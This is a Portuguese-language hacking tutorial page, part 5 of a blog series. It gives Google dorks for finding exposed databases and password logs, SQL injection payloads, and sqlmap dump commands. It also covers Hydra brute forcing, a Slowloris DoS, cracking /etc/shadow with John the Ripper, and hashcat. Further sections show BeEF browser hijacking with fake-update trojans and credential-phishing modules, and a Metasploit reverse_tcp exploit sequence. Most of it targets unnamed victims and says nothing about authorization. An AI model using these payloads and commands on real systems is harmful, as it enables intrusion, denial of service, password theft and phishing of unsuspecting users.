Aprenda Hacking

  • Página Inicial
  • Contato!
  • Tudo sobre Hacking Parte 1!
  • Tudo sobre Hacking Parte 2!
  • Tudo sobre Hacking Parte 3!
  • Tudo sobre Hacking Parte 4!
  • Tudo sobre Hacking Parte 5!
  • Tudo sobre Hacking Parte 6!
  • Tudo sobre Hacking Parte 7!
  • Tudo sobre Hacking Parte 8!
  • Tudo sobre Hacking Parte 5

    Google Hacking

    O Google Hacking nada mais é que nós utilizarmos o Google para pesquisar coisas como sites vulneráveis, pesquisar dados, encontrar informações, pastas importantes, vulnerabilidades e etc.

    O Google indexa toda a internet da surface web e pega todos os links de todos os sites que encontra, incluindo dados confidenciais do mesmo, graças ao webcrawler do Google.

    Ao pesquisar site:nomedosite.com.br ele retornará o máximo de conteúdos apenas do site especificado (pode ser usado algo como site:.pt para procurar sites de Portugal, por exemplo), podendo colocar uma ou mais palavras chaves para procurar conteúdos específicos desse mesmo site, ou mesmo colocar o - na frente da palavra pra suprimir resultados com essa mesma palavra.

    Podemos pesquisar resultados que estejam numa URL que contenham tal sequência, por exemplo inurl:.php?id=, podendo substituir por cat ou outro dado de PHP. Isso ajuda a procurar sites vulneráveis.

    Podemos buscar por exemplo, algum erro de MySQL que apareça num texto de um site, como intext:mysql_fetch_array(), e podemos combinar com o inurl pra isso. Uma forma fácil de achar sites vulneráveis à SQL Injection é pesquisar inurl:.php?cat= intext:syntax (já que a palavra syntax é exibida em erros de SQL).

    PS: Além de inurl, intext, intitle, podemos usar allinurl, allintext e allintitle para procurar resultados com todas as palavras descritas, ao invés de uma só.

    Outra coisa muito comum é procurar um tipo específico de arquivo, como filetype:sql ou ext:php, que procura arquivos de banco de dados que podem estar em backup de sites. Muito comum procurar arquivos TXT, ZIP ou RAR que contenham back-up de dados. Podemos colocar o operador OR ou | para ele procurar resultado com um verbete ou o outro. Também podemos procurar um intervalo de números, como por exemplo 2012..2016 ou numrange:2012-2016.

    PS: Todos esses comandos podem ser combinados com outros, principalmente com palavras-chave para retornar resultados mais relevantes.

    Podemos também procurar coisas literais entre aspas (como "Recuperar Senha"), colocar um * como coringa (como "Samuel * da Silva"), suprimir algo da pesquisa com um - (como vazamento de contas -água -luz), forçar um termo de pesquisa com o + (como senha +administrador), entre outras coisas, entre outras coisas. Um truque que podemos usar é para descobrir servidores FTP, digitando intext:"index of" inurl:ftp.

    Podemos também pesquisar um e-mail para ver se ele foi exposto ou se ele é legítimo (caso seja um e-mail de alguma conta que envia spam ou phishing, por exemplo), simplesmente colando ele na pesquisa do Google.

    Nesse site temos muitas outras dicas que podemos usar para buscas no Google: https://tavernalinux.com/google-hacking-para-pentest-61604f8f8122

    Aqui também temos alguns parâmetros que podemos usar no Google: https://escoladedados.org/tutoriais/operadores-de-busca-avancada/

    Veja alguns usos mais avançados de pesquisa no Google:

    
    "phpMyAdmin" "running on" inurl:main.php
    
    "@gmail.com"
    
    ext:php | ext:asp | ext:aspx | ext:jsp
    
    numrange:1-5
    
    intitle:"VNC Desktop" inurl:5900
    
    intitle:"remote desktop web connection"
    
    intitle:"index of" filetype:sql
    
    intitle:phpinfo()
    
    intitle:"index of /" backup
    
    filetype:log inurl:password.log
    
    filetype:properties inurl:db intext:password
    
    filetype:sql intext:password
    
    inurl:.php?id= "sql syntax"
    
    inurl:.php?id= "sql command"
    
    

    Introdução ao SQL Injection

    Um banco de dados é utilizado para armazenar informações. Programas que organizam e coletam essas informações são chamados de DBMS, como o MySQL. Para a organização e estruturação dessas informações é utilizada uma linguagem chamada SQL.

    SQL é a sigla inglesa de Structured Query Language, que significa, em português, Linguagem de Consulta Estruturada, uma linguagem padrão de gerenciamento de dados que interage com os principais bancos de dados baseados no modelo relacional, dentre eles: MySQL, PostgreSQL, Oracle, SQL Server, MariaDB, Acess, etc.

    Os sites com bancos de dados e alguma linguagem back-end, como o PHP, são chamados de dinâmicos, já os sites apenas com HTML, CSS e Javascript são chamados de estáticos. Facebook é um exemplo de site dinâmico.

    O SQL Injection é feito colocando algo que interfira no funcionamento normal da query do banco de dados, em sites que não filtram seus dados.

    Query do site:

    
    $sql = "select * from users where username = '" + $username + "' and password = '" + $password + "'";
    
    

    Colocamos no campo de username o "login" e "senha" ' or '1 = 1, e a SQL vai entender algo diferente e gerar esse resultado:

    
    $sql = "select * from users where username = '' or '1 = 1' and password = '' or '1 = 1'";
    
    

    No caso acima, se o banco de dados não encontrar o usuário (que está vazio), ele verificará se 1 é igual é 1 e identificará a query como verdadeira e logará o site.

    No Google podemos pesquisar um site vulnerável com inurl:.php?cat=, no caso, vamos nesse site que é permitido usar pra testes: http://testphp.vulnweb.com/listproducts.php?cat=1

    No site acima, se passamos o número no parâmetro cat, ele mostrará fotos do site normalmente, mas se passar uma aspas simples, ele dará um erro de SQL, por criar uma query errada. Se o site mostrar erros, o site poderá ser vulnerável a SQL Injection.

    Agora vamos na seção de login, no mesmo site, e coloque nos campos de login e senha o comando ' or '1 = 1. Ele logará, por causa do que a query entende como uma consulta válida.

    PS: O SQL Injection independe da linguagem do site ou tipo de banco de dados, funciona igual para qualquer um.

    SQL Injection com Havij

    Como visto, podemos descobrir se um site está vulnerável à SQL Injection tentando colocar no parâmetro da URL alguma coisa que interfira na query do SQL, como uma aspas simples.

    Podemos usar um programa chamado Havij no Windows para explorar falhas SQL, basta abrir o programa, colocar o link nele com o parâmetro (no caso o site será o http://testphp.vulnweb.com/listproducts.php?cat=1).

    Para baixar e instalar o Havij, vá nesse link aqui: https://www.darknet.org.uk/2010/09/havij-advanced-automated-sql-injection-tool/

    SQL Injection com SQLmap

    Voltando ao site de testes de intrusão (http://testphp.vulnweb.com/listproducts.php?cat=1), sabemos que ele está vulnerável à SQL Injection, e podemos usar o SQLMap para fazer isso.

    No terminal do Linux, teste primeiro o código sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs, que retornará todos os bancos de dados do servidor e suas vulnerabilidades (geralmente no INFO com cor diferenciada).

    No final, ele faz o ataque e faz o upload dos resultados num arquivo.

    Para vermos as tabelas de um banco de dados do site, digitamos sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D nomedobanco --tables.

    Para especificar uma tabela e ver suas colunas digite sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D nomedobanco -T nomedatabela --columns.

    Para pegar colunas especificas dessa mesma tabela podemos fazer algo tipo sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D nomedobanco -T nomedatabela -C email,name,pass,uname --dump.

    Para pegar todas as colunas da tabela, digite sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D nomedobanco -T nomedatabela --dump.

    Mudando o parâmetro da URL para um caractere como ' e rodando este no SQL pode retornar resultados de vulnerabilidade.

    Ele também pode identificar hashs de senhas e colocar como opção o ataque à essa hash com um dicionário, podendo descobrir o que ela significa.

    Podemos colocar também o parâmetro do tipo de banco de dados com a opção --dbms, como por exemplo --dbms=mysql para MySQL. Outras opções são postgresql (PostgreSQL), oracle (Oracle SQL Server) e mssql (Microsoft SQL Server).

    Digitando apenas sqlmap podemos ver as configurações do programa.

    PS: Os parâmetros usados são para testes em parâmetros GET, para parâmetros POST, coloque a página onde está o formulário e o parâmetro --forms, dessa forma. Podemos obter mais dados do servidor com o parâmetro --fingerprint.

    
    sqlmap -u http://testphp.vulnweb.com/login.php --dbs --forms
    
    

    Todos os outros testes com parâmetros POST devem ter esse parâmetro especificado.

    Para atualizar o SQLMap, digite sqlmap --update.

    Identificar e Descriptografar Hashs de Senhas (MD5 e SHA-1)

    Uma hash nada mais é que um algoritmo matemático que transforma uma string (como uma senha) em uma sequência de caracteres hexadecimais de tamanho único, independente do tamanho da string, dessa forma, as senhas podem ser guardadas num banco de dados de forma segura. As mais usadas são a MD5 (com 32 caracteres), e a SHA-1 (com 40 caracteres).

    Por padrão, podemos criptografar uma senha como uma hash, mas ele não pode ser descriptografado. Par permitir o login em sites, o site que contém o hash da senha guardada, faz um algoritmo do mesmo tipo de hash ao logarmos e compara com o do banco de dados.

    O hash da palavra "senha", por exemplo, é e8d95a51f3af4a3b134bf6bb680a213a em MD5 e 7751a23fa55170a57e90374df13a3ab78efe0e99 em SHA-1.

    Podemos usar um site para gerar hashs, como esse, por exemplo: https://hashes.com/en/generate/hash e coloque uma senha qualquer como exemplo.

    Apenas um caractere alterado da palavra, como mudar uma letra pra maiúscula, tirar ou colocar um caractere, etc., por mínima que seja, gera um hash totalmente diferente do anterior.

    Dentro do Kali, podemos usar o programa hash-identifier para descobrir de que tipo é um hash de senha, digitando hash-identifier, e dentro do programa colamos a hash que desejamos verificar.

    No site acima, também podemos procurar a senha de algum hash especificado. Para dificultarmos a descoberta do hash da senha, podemos usar senhas mais complexas, que dificulta encontrarmos a hash dela.

    Obtendo Senhas com Unsecure

    No Windows podemos usar o Unsecure para quebrar senhas de e-mails e sites.

    Abra o Unsecure 2015, e em Endereço IP ou URL coloque o link ou IP do alvo. Escolha a porta, selecione o dicionário e marque as opções força-bruta e dicionário.

    Introdução ao Hydra

    O Hydra tenta fazer ataques baseados num dicionário com prováveis senhas, que pode ser criado ou baixado!

    Para usarmos o Hydra com um nome de usuário, digitamos hydra -l nomedousuario -P wordlist.txt nomeouipdoalvo.com ftp. Onde está ftp pode ser outros serviços, como por exemplo, o SSH.

    Se não souber o nome de usuário e usar dicionário pra ambos, digite hydra -L wordlistlogin.txt -P wordlistsenha.txt nomeouipdoalvo.com ftp.

    Como no caso usaremos o ataque a um roteador, colocaremos no alvo o IP dele, para descobrir digite ip route.

    PS: O Hydra tenta descobrir apenas o que está especificado nas wordlists, não tenta quebrar a senha exatamente. E caso você saiba a senha mas não o login, basta passar o parâmetro -p seguido da senha.

    Aqui temos alguns dicionários para download: http://mudameuser.blogspot.com/2016/01/wordlist-para-ataque-de-forca-bruta.html

    Para atacar um alvo por outro serviço, use o IP dele seguido do nome do serviço, por exemplo hydra -l Admin -P wordlistsenha.txt 192.168.1.1 ssh.

    Podemos salvar as senhas salvas num arquivo, com o parâmetro -o nomedoarquivo.txt. Outras opções são -f para o programa parar quando encontrar uma senha, -e para testar senha em branco e -s para testar o user como senha.

    Aqui temos outras dicas para uso do Hydra: https://hackersec.com/comandos-e-truques-com-thc-hydra-brute-force/

    PS: Podemos baixar também uma interface gráfica para o Hydra, digitando sudo apt-get install hydra-gtk.

    Como Realizar um Ataque Dos

    O ataque Dos funciona da seguinte forma: Ele enviará solicitações HTTP incompletas ao servidor que deixa a conexão aberta esperando ela completar, mas estas nunca se completam e sobrecarregam o servidor, causando a negação de serviço, que faz derrubar o site.

    Para fazer um ataque Dos, baixe o script perl do Slowloris clonando o repositório dele com git clone https://github.com/mattiasgeniar/slowloris.git.

    No diretório do programa, dê a permissão de execução pro script baixado e digite o comando perl slowloris.pl -dns 192.168.0.15 -port 80, substituindo pelo IP desejado e a porta, se necessário.

    Introdução ao Netcat

    O Netcat é um comando bastante versátil em Linux, podemos colocar ele pra conectar num site e ver se ele responde, na sintaxe site porta, por exemplo:

    
    nc www.google.com.br 80
    
    

    PS: Pode ser necessário instalar ele digitando sudo apt-get install netcat.

    Para sniffar o tráfego na rede podemos fazer assim, na porta desejada:

    
    nc -l -p 80
    
    

    Quebrando Senhas com John the Ripper

    Primeiramente, caso não esteja no Kali, baixe o programa digitando sudo apt-get install john.

    Para testar a ferramenta, digite john --test. Na primeira execução do John, ele criará na home um diretório oculto de nome .john, onde estará os arquivos de configuração e dados dos arquivos.

    Para quebrar a senha de usuário do sistema, digite, como root, sudo john /etc/shadow.

    Para verificar a senha de um determinado nome, digite john -show -users:root /etc/shadow.

    Salve as senhas num banco de dados da seguinte forma: unshadow /etc/passwd /etc/shadow >> pass.db. E depois dê o comando john pass.db.

    Para quebrar a senha de um arquivo ZIP ou PDF, podemos digitar zip2john pasta.zip > hash.txt para gerar o hash da senha. E depois tente usando o comando john hash.txt --wordlist=senhas.txt. O processo pra PDF é o mesmo, mudando apenas para pdf2john. Temos também outros utilitários para RAR e outros tipos de arquivos. Quando ele descobrir a senha, ela aparecerá com uma cor destacada. Depois é só executar john hash.txt --show para ver a senha crackeada.

    PS: Em outras distros Linux, pode ser que não tenha os utilitários descritos acima, apenas o John. Nesse caso clone o repositório do John com git clone https://github.com/openwall/john.git e dentro da pasta run, rode os scripts Python equivalentes.

    Sequestrar Navegador com Beef XSS

    O Beef XSS trabalha da seguinte forma: De um lado tem a máquina atacante e do outro a vítima com o browser aberto. O painel do Beef vai inserir um script numa página que a vítima acessará e cairá num gancho, ou seja, será hookado, e o painel do atacante conseguirá enviar comandos pro navegador da vítima e controlar o mesmo.

    Para iniciar o Beef, clicamos no ícone dele. Abra o navegador e entre na URL do painel (UI URL, algo como http://127.0.0.1:3000/ui/panel) e digite na autenticação tanto pro login quanto pra senha, "beef". Ele pode exigir que mude a senha padrão.

    Ao abrir o Beef, tem ao lado os navegadores fisgados online e offline, veja também que tem as páginas modelo com script XSS para isso.

    Veja as legendas do módulo, que o verde é o mais seguro, porque a vítima não perceberá, por exemplo.

    Pegue o IP do seu computador (digitando ip addr show no Linux), e altere o IP do Hook de http://127.0.0.1:3000/hook.js para o IP do seu Linux.

    A vítima tentará abrir a página enviada, e já será fisgada, poderemos ver ela no painel do Beef, identificada pelo seu IP.

    Selecione a tal máquina pra trabalharmos nela, terá todas as informações como Navegador, Sistema Operacional, versão, etc.

    Podemos por exemplo, em Commands, na pasta Browser, podemos ir em Play Sound e colocar um áudio que desejamos que seja executado no PC da vítima.

    Na pasta Social Engineering, podemos ir em Fake Flash Update para enviar um link com a falsa atualização do Flash, com a imagem do Flash e um arquivo executável (trojan). Aparecerá uma página avisando da "atualização" e em qualquer lugar que clicarmos nela, redirecionará pra tal página.

    Temos também a Fake Notification Bar para os principais navegadores, podemos colocar a URL com o backdoor ou executável, e uma mensagem como um pedido de atualização pro navegador. Aparecerá uma notificação pra download, mesmo se clicar no x, redirecionará pra tal backdoor.

    Em Pretty Theft, podemos pegar logins de diversas redes sociais, como Facebook e Youtube, ou Sistemas como Windows e IOS. Aparecerá uma mensagem para login do Facebook, mas que na verdade é falsa e manda os dados pro atacante. Isso funciona com a vítima independente do sistema operacional, até mesmo em celulares.

    Temos também vários módulos de detecção, remoção de gancho, coleta de cookies, URL visitadas, é só dar a procurada nos módulos.

    Intrusão Simples com Metasploit

    Abra o Metasploit ou digite msfconsole no Terminal para isso.

    Digite os comando nessa ordem:

    
    use windows/smb/ms08_067_netapi
    
    set PAYLOAD windows/meterpreter/reverse_tcp
    
    set RHOST 0.0.0.0
    
    set LHOST 192.168.0.1
    
    exploit
    
    shell
    
    

    Em RHOST, vai o IP do alvo (pode ser o IP privado da máquina), e em LHOST, o IP do seu Kali.

    Se a invasão for bem-sucedida, você poderá navegar no sistema, usando a linha de comando.

    Descobrindo Senhas com o HashCat

    Como sabemos, as senhas são guardados no banco de dados no formato de hash, e podemos usar geradores de hash para criptografar as mesmas.

    Para descobrir senhas usaremos o HashCat. Nativo no Kali Linux, ele pode ser instalado em outras distros com sudo apt install hashcat ocl-icd-libopencl1 opencl-headers clinfo beignet-opencl-icd mesa-opencl-icd lsb-core.

    Salve um arquivo com o nome hashes.txt com os hashs desejados. Podemos baixar um exemplo aqui!

    Para utilizar o hashcat, use na sintaxe hashcat -a 0 -m 100 hashes.txt wordlist.txt. No lugar do arquivo dos hashs podemos colocar o mesmo literalmente.

    Se você receber um erro de "exceção de comprimento de linha" no hashcat, geralmente é porque o modo hash que você solicitou não corresponde ao hash.

    Esses são os tipos de hashs: https://hashcat.net/wiki/doku.php?id=example_hashes

    Eles devem ser usados após o parâmetro -m, para MD5 o número é 0, SHA-1 o número é 100 e SHA-256 é 1400.

    O parâmetro -a indica o tipo de ataque, onde 0 é com wordlist, para fazer com bruteforce é 3, por exemplo:

    
    sudo hashcat -a 3 -m 0 hashes.txt ?d?d?d?d?d?d?d?d
    
    

    As máscaras usadas são essas para cada caractere:

    Máscara Tipo de Dado
    ?l Letra minúscula
    ?u Letra maiúscula
    ?d Número
    ?s Símbolo
    ?a Qualquer caractere imprimível ASCII
    ?b Byte (todos os 256 valores possíveis)

    PS: Em quaisquer casos, pode ser necessário forçar com --force, e também executar como root. Pode ser necessário também especificar --self-test-disable.

    Aqui temos outras dicas com outros tipos de hash: https://infosecwriteups.com/cracking-hashes-with-hashcat-2b21c01c18ec